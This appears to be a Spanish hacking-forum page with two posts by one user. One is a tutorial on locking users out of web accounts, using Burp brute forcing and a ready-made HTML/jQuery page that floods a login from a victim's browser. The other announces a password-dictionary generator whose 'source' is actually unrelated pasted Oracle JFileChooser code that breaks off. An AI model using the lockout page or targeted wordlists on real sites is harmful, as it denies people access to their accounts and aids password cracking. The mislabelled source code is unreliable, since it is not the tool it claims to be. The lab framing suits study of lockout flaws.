Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - rollth

Páginas: [1] 2 3 4
1
Seguridad web y en servidores / Denegación de Usuarios [DoU]
« en: Junio 15, 2018, 09:36:20 am »
Muy buenas Underc0ders,

hoy venía a hablaros de algo que he visto varias veces y me gustaría compilarlo todo y dejarlo aquí ya que pienso que podría serle útil a alguien. Se trata de lo que yo he llamado DoU (Denial of Users), o en Castellano, Denegación de Usuario, refiriendome de esta forma al bloqueo de un usuario ya sea o bien de forma temporal o bien de forma permanente, y aunque es algo de lo que ya se ha hablado nunca he visto un buen tutorial sobre el tema, además incluire algo que yo no había visto por la red.

ARMANDO LABORATORIO
Bueno, lo primero que vamos a hacer es armar nuestro laboratorio, aquí seré breve, basicamente lo que tenemos que hacer es montar un servidor web con php y una base de datos, también pueden usar algún tipo de hosting free que lo dan ya todo montado.

Crearemos una tabla en nuestra base de datos, que mantendrá la siguiente estructura.

Para ello podemos usar el siguiente Statment.

Código: (mysql) You are not allowed to view links. Register or Login
CREATE TABLE `users` ( `id` INT(4) NOT NULL AUTO_INCREMENT , `usuario` VARCHAR(100) NOT NULL , `password` VARCHAR(100) NOT NULL , `email` VARCHAR(100) NOT NULL , `bloqueo` INT(4) NOT NULL , `ip` VARCHAR(100) NOT NULL , PRIMARY KEY (`id`)) ENGINE = MyISAM;

Os dejo también por aquí todo el código que he usado para hacer las POCs (Ya se que el código es muy mal, pero lo hice rápido para hacer las pruebas)

You are not allowed to view links. Register or Login

Una vez subamos todo el código debemos modificar el config.php con nuestros datos y ya podremos acceder a "url.es/pruebas.php"


Si quieren hacer las pruebas pueden hacerlo en el laboratorio que preparé yo mientras esté online.

You are not allowed to view links. Register or Login
DoU POR FUERZA BRUTA A USUARIO

El primer caso que nos encontramos es una medida de evasión en la que las páginas webs bloquean a un usuario tras un numero de intento de sesión fallidos. Esto se hace para evitar ataques de fuerza bruta.

Para volver a poder tener acceso a la cuenta normalmente hay, o bien que realizar algún tipo de proceso vía email, o bien esperar una cantidad de tiempo, por lo que en este caso se trataría de un bloqueo temporal, a pesar de esto, puede ser dañino si se hace en ciertos momentos clave.

Para realizar la PoC vamos a registrar a un usuario, en mi caso test01, con credenciales test01.


Lo siguiente que haremos será logearnos con el usuario test01 y unos credenciales incorrectos, capturando la petición con BurpSuite y enviándola al intruder.

(Para los que no hayan usado BurpSuite aconsejo mirarse los You are not allowed to view links. Register or Login)

Una vez capturada la petición lo configuraremos para que vaya probando contraseñas diferentes, como si un ataque de fuerza bruta se tratase, en mi caso lo he hecho a través de una lista numérica.


Una vez configurado lanzaremos el ataque, como se puede observar la lista es de mil números, para asegurarme que hace el número de intentos necesarios para que bloquee al usuario.


Una vez hecho esto podemos comprobar que al intentar acceder con el usuario y contraseña correctos nos devolverá una alerta diciendo que el usuario ha sido bloqueado.


DoU POR FUERZA BRUTA A IP

Este segundo caso funciona igual, la única diferencia es que en lugar de bloquear al usuario, bloquea la IP, por lo que si repetimos el proceso anterior nosotros seremos bloqueados, pero el usuario legítimo podrá seguir accediendo. Este tipo de bloqueo suele ser temporal.

Ahora crearemos de la misma forma un usuario que será test02 y accederemos a la segunda sección de bloqueo de usuarios por IP.

En este caso lo que haremos será en un servidor nuestro propio, crear una página que al entrar envíe muchas peticiones al login desde el cliente del navegador, de tal forma que al entrar el usuario legítimo en nuestra página maliciosa quedaría bloqueado.

Igual que en la ocasión anterior vamos a interceptar la petición para observar como es.


Una vez interceptada la petición tenemos la información suficiente para preparar nuestro código, quedando de la siguiente forma.

Código: (html5) You are not allowed to view links. Register or Login
    <!DOCTYPE html>
    <html>
    <head>
    <title>Ataque ejemplo</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    </head>
    <body>
    <script>
    var paso;
    for(paso = 0; paso < 100; paso++){
    $.post("http://testparauc.atwebpages.com/login2.php", // URL al que se envía la información
    {
    username: "test02", // Nombre de la Variable y Usuario
    password: paso // Nombre de la Variable
    },
    function(){
    alert();
    });
    }
    </script>
    <img src="https://globbsecurity.com/wp-content/uploads/2015/06/1330457418383.jpg">
    </body>
    </html>

Una vez subido nuestro código se lo enviaremos a la víctima, donde el verá lo siguiente.


Después de ver esto si intenta entrar en la página la aplicación detectará que ha hecho demasiados intentos y habrá bloqueado su IP.



DoU POR NOMBRE DE USUARIO

El siguiente caso es algo que descubrí en una auditoría, donde si creas un usuario con el mismo nombre que otro ya existente el primero queda bloqueado y no se puede acceder. Esto es así por 3 motivos.

  • Los valores no están identificados como únicos en la base de datos, por lo que en una columna puede haber dos filas con un mismo valor de una columna.
  • Al registrar un usuario o modificarlo la aplicación no comprueba si ese nombre usuario o email ha sido creado anteriormene
  • En la consulta en lugar de hacer SELECT * FROM usuarios y después seleccionar la parte que nos interesa, se hace SELECT password FROM usuarios, de tal forma que si hay varios usuarios iguales no devuelve un solo String, y al hacer la comparación dará siempre falsa

Para comprobar esto vamos a crear un usuario con usuario: test03 y contraseña: test03 y después accederemos normalmente para comprobar que funciona.

Una vez hecho esto volveremos a crear un usuario con usuario: test03 y contraseña: bloqueo, una vez hecho esto intentaremos acceder y veremos que no somos capaces de hacerlo con ninguna de las dos combinaciones.


Hasta aquí lo que venía a contarles y espero que les sea útil en algún momento.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.


2
Hacking / DxD [Herramienta Generadora de Diccionarios]
« en: Mayo 01, 2018, 11:47:39 am »
Muy buenas Underc0deres,

hoy vengo a presentaros una nueva herramienta que he programado que, aunque no este completada ya es funcional. De tal forma iré avisando de nuevas actualizaciones hasta llegar al punto al que quiero llevar la herramienta.

Se trata de DxD, esta herramienta se encarga de realizar un Diccionario personalizado a partir de la información obtenida de una persona (y en un futuro de una empresa).

La idea es que a partir de los terminos introducidos, en una nueva actualización busque términos relacionados y de esta forma poder crear diccionarios más personalizados.

Por ejemplo en el casual de que a la persona le gustase el fútbol que añadiera palabras como arbitro o messi a la RainBow Table.



Permite la posibilidad de guardar y cargar perfiles de las personas para su posterior uso y modificación de estas. Con la extesión de archivos ".dxd"





Una vez creado el diccionario generaría un diccionario como el siguiente.

You are not allowed to view links. Register or Login

PROXIMAS FUNCIONALIDADES:

- Generador de Diccionarios sobre Perfiles de Empresas.
- Añadir al diccionario búsquedas relacionadas sobre los terminos introducidos.
- Añadir apartado musical para buscar canciones respectivas.
- Modificar posibilidad numérica para generar mejores diccionarios

Link de descarga: You are not allowed to view links. Register or Login

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Source.

El código está muy sucio de momento, pero lo dejo por aquí y ya o limpiaré en un futuro.

GUI.java

Código: (java) You are not allowed to view links. Register or Login
/*
 * Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
 * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 */

package javax.swing;

import javax.swing.event.*;
import javax.swing.filechooser.*;
import javax.swing.plaf.FileChooserUI;

import javax.accessibility.*;

import java.io.File;
import java.io.ObjectOutputStream;
import java.io.IOException;

import java.util.Vector;
import java.awt.AWTEvent;
import java.awt.Component;
import java.awt.Container;
import java.awt.BorderLayout;
import java.awt.Window;
import java.awt.Dialog;
import java.awt.Frame;
import java.awt.GraphicsEnvironment;
import java.awt.HeadlessException;
import java.awt.EventQueue;
import java.awt.Toolkit;
import java.awt.event.*;
import java.beans.PropertyChangeListener;
import java.beans.PropertyChangeEvent;
import java.lang.ref.WeakReference;

/**
 * <code>JFileChooser</code> provides a simple mechanism for the user to
 * choose a file.
 * For information about using <code>JFileChooser</code>, see
 * <a
 href="https://docs.oracle.com/javase/tutorial/uiswing/components/filechooser.html">How to Use File Choosers</a>,
 * a section in <em>The Java Tutorial</em>.
 *
 * <p>
 *
 * The following code pops up a file chooser for the user's home directory that
 * sees only .jpg and .gif images:
 * <pre>
 *    JFileChooser chooser = new JFileChooser();
 *    FileNameExtensionFilter filter = new FileNameExtensionFilter(
 *        "JPG &amp; GIF Images", "jpg", "gif");
 *    chooser.setFileFilter(filter);
 *    int returnVal = chooser.showOpenDialog(parent);
 *    if(returnVal == JFileChooser.APPROVE_OPTION) {
 *       System.out.println("You chose to open this file: " +
 *            chooser.getSelectedFile().getName());
 *    }
 * </pre>
 * <p>
 * <strong>Warning:</strong> Swing is not thread safe. For more
 * information see <a
 * href="package-summary.html#threading">Swing's Threading
 * Policy</a>.
 *
 * @beaninfo
 *   attribute: isContainer false
 * description: A component which allows for the interactive selection of a file.
 *
 * @author Jeff Dinkins
 *
 */
public class JFileChooser extends JComponent implements Accessible {

    /**
     * @see #getUIClassID
     * @see #readObject
     */
    private static final String uiClassID = "FileChooserUI";

    // ************************
    // ***** Dialog Types *****
    // ************************

    /**
     * Type value indicating that the <code>JFileChooser</code> supports an
     * "Open" file operation.
     */
    public static final int OPEN_DIALOG = 0;

    /**
     * Type value indicating that the <code>JFileChooser</code> supports a
     * "Save" file operation.
     */
    public static final int SAVE_DIALOG = 1;

    /**
     * Type value indicating that the <code>JFileChooser</code> supports a
     * developer-specified file operation.
     */
    public static final int CUSTOM_DIALOG = 2;


    // ********************************
    // ***** Dialog Return Values *****
    // ********************************

    /**
     * Return value if cancel is chosen.
     */
    public static final int CANCEL_OPTION = 1;

    /**
     * Return value if approve (yes, ok) is chosen.
     */
    public static final int APPROVE_OPTION = 0;

    /**
     * Return value if an error occurred.
     */
    public static final int ERROR_OPTION = -1;


    // **********************************
    // ***** JFileChooser properties *****
    // **********************************


    /** Instruction to display only files. */
    public static final int FILES_ONLY = 0;

    /** Instruction to display only directories. */
    public static final int DIRECTORIES_ONLY = 1;

    /** Instruction to display both files and directories. */
    public static final int FILES_AND_DIRECTORIES = 2;

    /** Instruction to cancel the current selection. */
    public static final String CANCEL_SELECTION = "CancelSelection";

    /**
     * Instruction to approve the current selection
     * (same as pressing yes or ok).
     */
    public static final String APPROVE_SELECTION = "ApproveSelection";

    /** Identifies change in the text on the approve (yes, ok) button. */
    public static final String APPROVE_BUTTON_TEXT_CHANGED_PROPERTY = "ApproveButtonTextChangedProperty";

    /**
     * Identifies change in the tooltip text for the approve (yes, ok)
     * button.
     */
    public static final String APPROVE_BUTTON_TOOL_TIP_TEXT_CHANGED_PROPERTY = "ApproveButtonToolTipTextChangedProperty";

    /** Identifies change in the mnemonic for the approve (yes, ok) button. */
    public static final String APPROVE_BUTTON_MNEMONIC_CHANGED_PROPERTY = "ApproveButtonMnemonicChangedProperty";

    /** Instruction to display the control buttons. */
    public static final String CONTROL_BUTTONS_ARE_SHOWN_CHANGED_PROPERTY = "ControlButtonsAreShownChangedProperty";

    /** Identifies user's directory change. */
    public static final String DIRECTORY_CHANGED_PROPERTY = "directoryChanged";

    /** Identifies change in user's single-file selection. */
    public static final String SELECTED_FILE_CHANGED_PROPERTY = "SelectedFileChangedProperty";

    /** Identifies change in user's multiple-file selection. */
    public static final String SELECTED_FILES_CHANGED_PROPERTY = "SelectedFilesChangedProperty";

    /** Enables multiple-file selections. */
    public static final String MULTI_SELECTION_ENABLED_CHANGED_PROPERTY = "MultiSelectionEnabledChangedProperty";

    /**
     * Says that a different object is being used to find available drives
     * on the system.
     */
    public static final String FILE_SYSTEM_VIEW_CHANGED_PROPERTY = "FileSystemViewChanged";

    /**
     * Says that a different object is being used to retrieve file
     * information.
     */
    public static final String FILE_VIEW_CHANGED_PROPERTY = "fileViewChanged";

    /** Identifies a change in the display-hidden-files property. */
    public static final String FILE_HIDING_CHANGED_PROPERTY = "FileHidingChanged";

    /** User changed the kind of files to display. */
    public static final String FILE_FILTER_CHANGED_PROPERTY = "fileFilterChanged";

    /**
     * Identifies a change in the kind of selection (single,
     * multiple, etc.).
     */
    public static final String FILE_SELECTION_MODE_CHANGED_PROPERTY = "fileSelectionChanged";

    /**
     * Says that a different accessory component is in use
     * (for example, to preview files).
     */
    public static final String ACCESSORY_CHANGED_PROPERTY = "AccessoryChangedProperty";

    /**
     * Identifies whether a the AcceptAllFileFilter is used or not.
     */
    public static final String ACCEPT_ALL_FILE_FILTER_USED_CHANGED_PROPERTY = "acceptAllFileFilterUsedChanged";

    /** Identifies a change in the dialog title. */
    public static final String DIALOG_TITLE_CHANGED_PROPERTY = "DialogTitleChangedProperty";

    /**
     * Identifies a change in the type of files displayed (files only,
     * directories only, or both files and directories).
     */
    public static final String DIALOG_TYPE_CHANGED_PROPERTY = "DialogTypeChangedProperty";

    /**
     * Identifies a change in the list of predefined file filters
     * the user can choose from.
     */
    public static final String CHOOSABLE_FILE_FILTER_CHANGED_PROPERTY = "ChoosableFileFilterChangedProperty";

    // ******************************
    // ***** instance variables *****
    // ******************************

    private String dialogTitle = null;
    private String approveButtonText = null;
    private String approveButtonToolTipText = null;
    private int approveButtonMnemonic = 0;

    private Vector<FileFilter> filters = new Vector<FileFilter>(5);
    private JDialog dialog = null;
    private int dialogType = OPEN_DIALOG;
    private int returnValue = ERROR_OPTION;
    private JComponent accessory = null;

    private FileView fileView = null;

    private boolean controlsShown = true;

    private boolean useFileHiding = true;
    private static final String SHOW_HIDDEN_PROP = "awt.file.showHiddenFiles";

    // Listens to changes in the native setting for showing hidden files.
    // The Listener is removed and the native setting is ignored if
    // setFileHidingEnabled() is ever called.
    private transient PropertyChangeListener showFilesListener = null;

    private int fileSelectionMode = FILES_ONLY;

    private boolean multiSelectionEnabled = false;

    private boolean useAcceptAllFileFilter = true;

    private boolean dragEnabled = false;

    private FileFilter fileFilter = null;

    private FileSystemView fileSystemView = null;

    private File currentDirectory = null;
    private File selectedFile = null;
    private File[] selectedFiles;

    // *************************************
    // ***** JFileChooser Constructors *****
    // *************************************

    /**
     * Constructs a <code>JFileChooser</code> pointing to the user's
     * default directory. This default depends on the operating system.
     * It is typically the "My Documents" folder on Windows, and the
     * user's home directory on Unix.
     */
    public JFileChooser() {
        this((File) null, (FileSystemView) null);
    }

    /**
     * Constructs a <code>JFileChooser</code> using the given path.
     * Passing in a <code>null</code>
     * string causes the file chooser to point to the user's default directory.
     * This default depends on the operating system. It is
     * typically the "My Documents" folder on Windows, and the user's
     * home directory on Unix.
     *
     * @param currentDirectoryPath  a <code>String</code> giving the path
     *                          to a file or directory
     */
    public JFileChooser(String currentDirectoryPath) {
        this(currentDirectoryPath, (FileSystemView) null);
    }

    /**
     * Constructs a <code>JFileChooser</code> using the given <code>File</code>
     * as the path. Passing in a <code>null</code> file
     * causes the file chooser to point to the user's default directory.
     * This default depends on the operating system. It is
     * typically the "My Documents" folder on Windows, and the user's
     * home directory on Unix.
     *
     * @param currentDirectory  a <code>File</code> object specifying
     *                          the path to a file or directory
     */
    public JFileChooser(File currentDirectory) {
        this(currentDirectory, (FileSystemView) null);
    }

    /**
     * Constructs a <code>JFileChooser</code> using the given
     * <code>FileSystemView</code>.
     */
    public JFileChooser(FileSystemView fsv) {
        this((File) null, fsv);
    }


    /**
     * Constructs a <code>JFileChooser</code> using the given current directory
     * and <code>FileSystemView</code>.
     */
    public JFileChooser(File currentDirectory, FileSystemView fsv) {
        setup(fsv);
        setCurrentDirectory(currentDirectory);
    }

    /**
     * Constructs a <code>JFileChooser</code> using the given current directory
     * path and <code>FileSystemView</code>.
     */
    public JFileChooser(String currentDirectoryPath, FileSystemView fsv) {
        setup(fsv);
        if(currentDirectoryPath == null) {
            setCurrentDirectory(null);
        } else {
            setCurrentDirectory(fileSystemView.createFileObject(currentDirectoryPath));
        }
    }

    /**
     * Performs common constructor initialization and setup.
     */
    protected void setup(FileSystemView view) {
        installShowFilesListener();
        installHierarchyListener();

        if(view == null) {
            view = FileSystemView.getFileSystemView();
        }
        setFileSystemView(view);
        updateUI();
        if(isAcceptAllFileFilterUsed()) {
            setFileFilter(getAcceptAllFileFilter());
        }
        enableEvents(AWTEvent.MOUSE_EVENT_MASK);
    }

    private void installHierarchyListener() {
        addHierarchyListener(new HierarchyListener() {
            @Override
            public void hierarchyChanged(HierarchyEvent e) {
                if ((e.getChangeFlags() & HierarchyEvent.PARENT_CHANGED)
                        == HierarchyEvent.PARENT_CHANGED) {
                    JFileChooser fc = JFileChooser.this;
                    JRootPane rootPane = SwingUtilities.getRootPane(fc);
                    if (rootPane != null) {
                        rootPane.setDefaultButton(fc.getUI().getDefaultButton(fc));
                    }
                }
            }
        });
    }

    private void installShowFilesListener() {
        // Track native setting for showing hidden files
        Toolkit tk = Toolkit.getDefaultToolkit();
        Object showHiddenProperty = tk.getDesktopProperty(SHOW_HIDDEN_PROP);
        if (showHiddenProperty instanceof Boolean) {
            useFileHiding = !((Boolean)showHiddenProperty).booleanValue();
            showFilesListener = new WeakPCL(this);
            tk.addPropertyChangeListener(SHOW_HIDDEN_PROP, showFilesListener);
        }
    }

    /**
     * Sets the <code>dragEnabled</code> property,
     * which must be <code>true</code> to enable
     * automatic drag handling (the first part of drag and drop)
     * on this component.
     * The <code>transferHandler</code> property needs to be set
     * to a non-<code>null</code> value for the drag to do
     * anything.  The default value of the <code>dragEnabled</code>
     * property
     * is <code>false</code>.
     *
     * <p>
     *
     * When automatic drag handling is enabled,
     * most look and feels begin a drag-and-drop operation
     * whenever the user presses the mouse button over an item
     * and then moves the mouse a few pixels.
     * Setting this property to <code>true</code>
     * can therefore have a subtle effect on
     * how selections behave.
     *
     * <p>
     *
     * Some look and feels might not support automatic drag and drop;
     * they will ignore this property.  You can work around such
     * look and feels by modifying the component
     * to directly call the <code>exportAsDrag</code> method of a
     * <code>TransferHandler</code>.
     *
     * @param b the value to set the <code>dragEnabled</code> property to
     * @exception HeadlessException if
     *            <code>b</code> is <code>true</code> and
     *            <code>GraphicsEnvironment.isHeadless()</code>
     *            returns <code>true</code>
     * @see java.awt.GraphicsEnvironment#isHeadless
     * @see #getDragEnabled
     * @see #setTransferHandler
     * @see TransferHandler
     * @since 1.4
     *
     * @beaninfo
     *  description: determines whether automatic drag handling is enabled
     *        bound: false
     */
    public void setDragEnabled(boolean b) {
        if (b && GraphicsEnvironment.isHeadless()) {
            throw new HeadlessException();
        }
        dragEnabled = b;
    }

    /**
     * Gets the value of the <code>dragEnabled</code> property.
     *
     * @return  the value of the <code>dragEnabled</code> property
     * @see #setDragEnabled
     * @since 1.4
     */
    public boolean getDragEnabled() {
        return dragEnabled;
    }

    // *****************************
    // ****** File Operations ******
    // *****************************

    /**
     * Returns the selected file. This can be set either by the
     * programmer via <code>setSelectedFile</code> or by a user action, such as
     * either typing the filename into the UI or selecting the
     * file from a list in the UI.
     *
     * @see #setSelectedFile
     * @return the selected file
     */
    public File getSelectedFile() {
        return selectedFile;
    }

    /**
     * Sets the selected file. If the file's parent directory is
     * not the current directory, changes the current directory
     * to be the file's parent directory.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     *
     * @see #getSelectedFile
     *
     * @param file the selected file
     */
    public void setSelectedFile(File file) {
        File oldValue = selectedFile;
        selectedFile = file;
        if(selectedFile != null) {
            if (file.isAbsolute() && !getFileSystemView().isParent(getCurrentDirectory(), selectedFile)) {
                setCurrentDirectory(selectedFile.getParentFile());
            }
            if (!isMultiSelectionEnabled() || selectedFiles == null || selectedFiles.length == 1) {
                ensureFileIsVisible(selectedFile);
            }
        }
        firePropertyChange(SELECTED_FILE_CHANGED_PROPERTY, oldValue, selectedFile);
    }

    /**
     * Returns a list of selected files if the file chooser is
     * set to allow multiple selection.
     */
    public File[] getSelectedFiles() {
        if(selectedFiles == null) {
            return new File[0];
        } else {
            return selectedFiles.clone();
        }
    }

    /**
     * Sets the list of selected files if the file chooser is
     * set to allow multiple selection.
     *
     * @beaninfo
     *       bound: true
     * description: The list of selected files if the chooser is in multiple selection mode.
     */
    public void setSelectedFiles(File[] selectedFiles) {
        File[] oldValue = this.selectedFiles;
        if (selectedFiles == null || selectedFiles.length == 0) {
            selectedFiles = null;
            this.selectedFiles = null;
            setSelectedFile(null);
        } else {
            this.selectedFiles = selectedFiles.clone();
            setSelectedFile(this.selectedFiles[0]);
        }
        firePropertyChange(SELECTED_FILES_CHANGED_PROPERTY, oldValue, selectedFiles);
    }

    /**
     * Returns the current directory.
     *
     * @return the current directory
     * @see #setCurrentDirectory
     */
    public File getCurrentDirectory() {
        return currentDirectory;
    }

    /**
     * Sets the current directory. Passing in <code>null</code> sets the
     * file chooser to point to the user's default directory.
     * This default depends on the operating system. It is
     * typically the "My Documents" folder on Windows, and the user's
     * home directory on Unix.
     *
     * If the file passed in as <code>currentDirectory</code> is not a
     * directory, the parent of the file will be used as the currentDirectory.
     * If the parent is not traversable, then it will walk up the parent tree
     * until it finds a traversable directory, or hits the root of the
     * file system.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: The directory that the JFileChooser is showing files of.
     *
     * @param dir the current directory to point to
     * @see #getCurrentDirectory
     */
    public void setCurrentDirectory(File dir) {
        File oldValue = currentDirectory;

        if (dir != null && !dir.exists()) {
            dir = currentDirectory;
        }
        if (dir == null) {
            dir = getFileSystemView().getDefaultDirectory();
        }
        if (currentDirectory != null) {
            /* Verify the toString of object */
            if (this.currentDirectory.equals(dir)) {
                return;
            }
        }

        File prev = null;
        while (!isTraversable(dir) && prev != dir) {
            prev = dir;
            dir = getFileSystemView().getParentDirectory(dir);
        }
        currentDirectory = dir;

        firePropertyChange(DIRECTORY_CHANGED_PROPERTY, oldValue, currentDirectory);
    }

    /**
     * Changes the directory to be set to the parent of the
     * current directory.
     *
     * @see #getCurrentDirectory
     */
    public void changeToParentDirectory() {
        selectedFile = null;
        File oldValue = getCurrentDirectory();
        setCurrentDirectory(getFileSystemView().getParentDirectory(oldValue));
    }

    /**
     * Tells the UI to rescan its files list from the current directory.
     */
    public void rescanCurrentDirectory() {
        getUI().rescanCurrentDirectory(this);
    }

    /**
     * Makes sure that the specified file is viewable, and
     * not hidden.
     *
     * @param f  a File object
     */
    public void ensureFileIsVisible(File f) {
        getUI().ensureFileIsVisible(this, f);
    }

    // **************************************
    // ***** JFileChooser Dialog methods *****
    // **************************************

    /**
     * Pops up an "Open File" file chooser dialog. Note that the
     * text that appears in the approve button is determined by
     * the L&amp;F.
     *
     * @param    parent  the parent component of the dialog,
     *                  can be <code>null</code>;
     *                  see <code>showDialog</code> for details
     * @return   the return state of the file chooser on popdown:
     * <ul>
     * <li>JFileChooser.CANCEL_OPTION
     * <li>JFileChooser.APPROVE_OPTION
     * <li>JFileChooser.ERROR_OPTION if an error occurs or the
     *                  dialog is dismissed
     * </ul>
     * @exception HeadlessException if GraphicsEnvironment.isHeadless()
     * returns true.
     * @see java.awt.GraphicsEnvironment#isHeadless
     * @see #showDialog
     */
    public int showOpenDialog(Component parent) throws HeadlessException {
        setDialogType(OPEN_DIALOG);
        return showDialog(parent, null);
    }

    /**
     * Pops up a "Save File" file chooser dialog. Note that the
     * text that appears in the approve button is determined by
     * the L&amp;F.
     *
     * @param    parent  the parent component of the dialog,
     *                  can be <code>null</code>;
     *                  see <code>showDialog</code> for details
     * @return   the return state of the file chooser on popdown:
     * <ul>
     * <li>JFileChooser.CANCEL_OPTION
     * <li>JFileChooser.APPROVE_OPTION
     * <li>JFileChooser.ERROR_OPTION if an error occurs or the
     *                  dialog is dismissed
     * </ul>
     * @exception HeadlessException if GraphicsEnvironment.isHeadless()
     * returns true.
     * @see java.awt.GraphicsEnvironment#isHeadless
     * @see #showDialog
     */
    public int showSaveDialog(Component parent) throws HeadlessException {
        setDialogType(SAVE_DIALOG);
        return showDialog(parent, null);
    }

    /**
     * Pops a custom file chooser dialog with a custom approve button.
     * For example, the following code
     * pops up a file chooser with a "Run Application" button
     * (instead of the normal "Save" or "Open" button):
     * <pre>
     * filechooser.showDialog(parentFrame, "Run Application");
     * </pre>
     *
     * Alternatively, the following code does the same thing:
     * <pre>
     *    JFileChooser chooser = new JFileChooser(null);
     *    chooser.setApproveButtonText("Run Application");
     *    chooser.showDialog(parentFrame, null);
     * </pre>
     *
     * <!--PENDING(jeff) - the following method should be added to the api:
     *      showDialog(Component parent);-->
     * <!--PENDING(kwalrath) - should specify modality and what
     *      "depends" means.-->
     *
     * <p>
     *
     * The <code>parent</code> argument determines two things:
     * the frame on which the open dialog depends and
     * the component whose position the look and feel
     * should consider when placing the dialog.  If the parent
     * is a <code>Frame</code> object (such as a <code>JFrame</code>)
     * then the dialog depends on the frame and
     * the look and feel positions the dialog
     * relative to the frame (for example, centered over the frame).
     * If the parent is a component, then the dialog
     * depends on the frame containing the component,
     * and is positioned relative to the component
     * (for example, centered over the component).
     * If the parent is <code>null</code>, then the dialog depends on
     * no visible window, and it's placed in a
     * look-and-feel-dependent position
     * such as the center of the screen.
     *
     * @param   parent  the parent component of the dialog;
     *                  can be <code>null</code>
     * @param   approveButtonText the text of the <code>ApproveButton</code>
     * @return  the return state of the file chooser on popdown:
     * <ul>
     * <li>JFileChooser.CANCEL_OPTION
     * <li>JFileChooser.APPROVE_OPTION
     * <li>JFileChooser.ERROR_OPTION if an error occurs or the
     *                  dialog is dismissed
     * </ul>
     * @exception HeadlessException if GraphicsEnvironment.isHeadless()
     * returns true.
     * @see java.awt.GraphicsEnvironment#isHeadless
     */
    public int showDialog(Component parent, String approveButtonText)
        throws HeadlessException {
        if (dialog != null) {
            // Prevent to show second instance of dialog if the previous one still exists
            return JFileChooser.ERROR_OPTION;
        }

        if(approveButtonText != null) {
            setApproveButtonText(approveButtonText);
            setDialogType(CUSTOM_DIALOG);
        }
        dialog = createDialog(parent);
        dialog.addWindowListener(new WindowAdapter() {
            public void windowClosing(WindowEvent e) {
                returnValue = CANCEL_OPTION;
            }
        });
        returnValue = ERROR_OPTION;
        rescanCurrentDirectory();

        dialog.show();
        firePropertyChange("JFileChooserDialogIsClosingProperty", dialog, null);

        // Remove all components from dialog. The MetalFileChooserUI.installUI() method (and other LAFs)
        // registers AWT listener for dialogs and produces memory leaks. It happens when
        // installUI invoked after the showDialog method.
        dialog.getContentPane().removeAll();
        dialog.dispose();
        dialog = null;
        return returnValue;
    }

    /**
     * Creates and returns a new <code>JDialog</code> wrapping
     * <code>this</code> centered on the <code>parent</code>
     * in the <code>parent</code>'s frame.
     * This method can be overriden to further manipulate the dialog,
     * to disable resizing, set the location, etc. Example:
     * <pre>
     *     class MyFileChooser extends JFileChooser {
     *         protected JDialog createDialog(Component parent) throws HeadlessException {
     *             JDialog dialog = super.createDialog(parent);
     *             dialog.setLocation(300, 200);
     *             dialog.setResizable(false);
     *             return dialog;
     *         }
     *     }
     * </pre>
     *
     * @param   parent  the parent component of the dialog;
     *                  can be <code>null</code>
     * @return a new <code>JDialog</code> containing this instance
     * @exception HeadlessException if GraphicsEnvironment.isHeadless()
     * returns true.
     * @see java.awt.GraphicsEnvironment#isHeadless
     * @since 1.4
     */
    protected JDialog createDialog(Component parent) throws HeadlessException {
        FileChooserUI ui = getUI();
        String title = ui.getDialogTitle(this);
        putClientProperty(AccessibleContext.ACCESSIBLE_DESCRIPTION_PROPERTY,
                          title);

        JDialog dialog;
        Window window = JOptionPane.getWindowForComponent(parent);
        if (window instanceof Frame) {
            dialog = new JDialog((Frame)window, title, true);
        } else {
            dialog = new JDialog((Dialog)window, title, true);
        }
        dialog.setComponentOrientation(this.getComponentOrientation());

        Container contentPane = dialog.getContentPane();
        contentPane.setLayout(new BorderLayout());
        contentPane.add(this, BorderLayout.CENTER);

        if (JDialog.isDefaultLookAndFeelDecorated()) {
            boolean supportsWindowDecorations =
            UIManager.getLookAndFeel().getSupportsWindowDecorations();
            if (supportsWindowDecorations) {
                dialog.getRootPane().setWindowDecorationStyle(JRootPane.FILE_CHOOSER_DIALOG);
            }
        }
        dialog.pack();
        dialog.setLocationRelativeTo(parent);

        return dialog;
    }

    // **************************
    // ***** Dialog Options *****
    // **************************

    /**
     * Returns the value of the <code>controlButtonsAreShown</code>
     * property.
     *
     * @return   the value of the <code>controlButtonsAreShown</code>
     *     property
     *
     * @see #setControlButtonsAreShown
     * @since 1.3
     */
    public boolean getControlButtonsAreShown() {
        return controlsShown;
    }


    /**
     * Sets the property
     * that indicates whether the <i>approve</i> and <i>cancel</i>
     * buttons are shown in the file chooser.  This property
     * is <code>true</code> by default.  Look and feels
     * that always show these buttons will ignore the value
     * of this property.
     * This method fires a property-changed event,
     * using the string value of
     * <code>CONTROL_BUTTONS_ARE_SHOWN_CHANGED_PROPERTY</code>
     * as the name of the property.
     *
     * @param b <code>false</code> if control buttons should not be
     *    shown; otherwise, <code>true</code>
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets whether the approve &amp; cancel buttons are shown.
     *
     * @see #getControlButtonsAreShown
     * @see #CONTROL_BUTTONS_ARE_SHOWN_CHANGED_PROPERTY
     * @since 1.3
     */
    public void setControlButtonsAreShown(boolean b) {
        if(controlsShown == b) {
            return;
        }
        boolean oldValue = controlsShown;
        controlsShown = b;
        firePropertyChange(CONTROL_BUTTONS_ARE_SHOWN_CHANGED_PROPERTY, oldValue, controlsShown);
    }

    /**
     * Returns the type of this dialog.  The default is
     * <code>JFileChooser.OPEN_DIALOG</code>.
     *
     * @return   the type of dialog to be displayed:
     * <ul>
     * <li>JFileChooser.OPEN_DIALOG
     * <li>JFileChooser.SAVE_DIALOG
     * <li>JFileChooser.CUSTOM_DIALOG
     * </ul>
     *
     * @see #setDialogType
     */
    public int getDialogType() {
        return dialogType;
    }

    /**
     * Sets the type of this dialog. Use <code>OPEN_DIALOG</code> when you
     * want to bring up a file chooser that the user can use to open a file.
     * Likewise, use <code>SAVE_DIALOG</code> for letting the user choose
     * a file for saving.
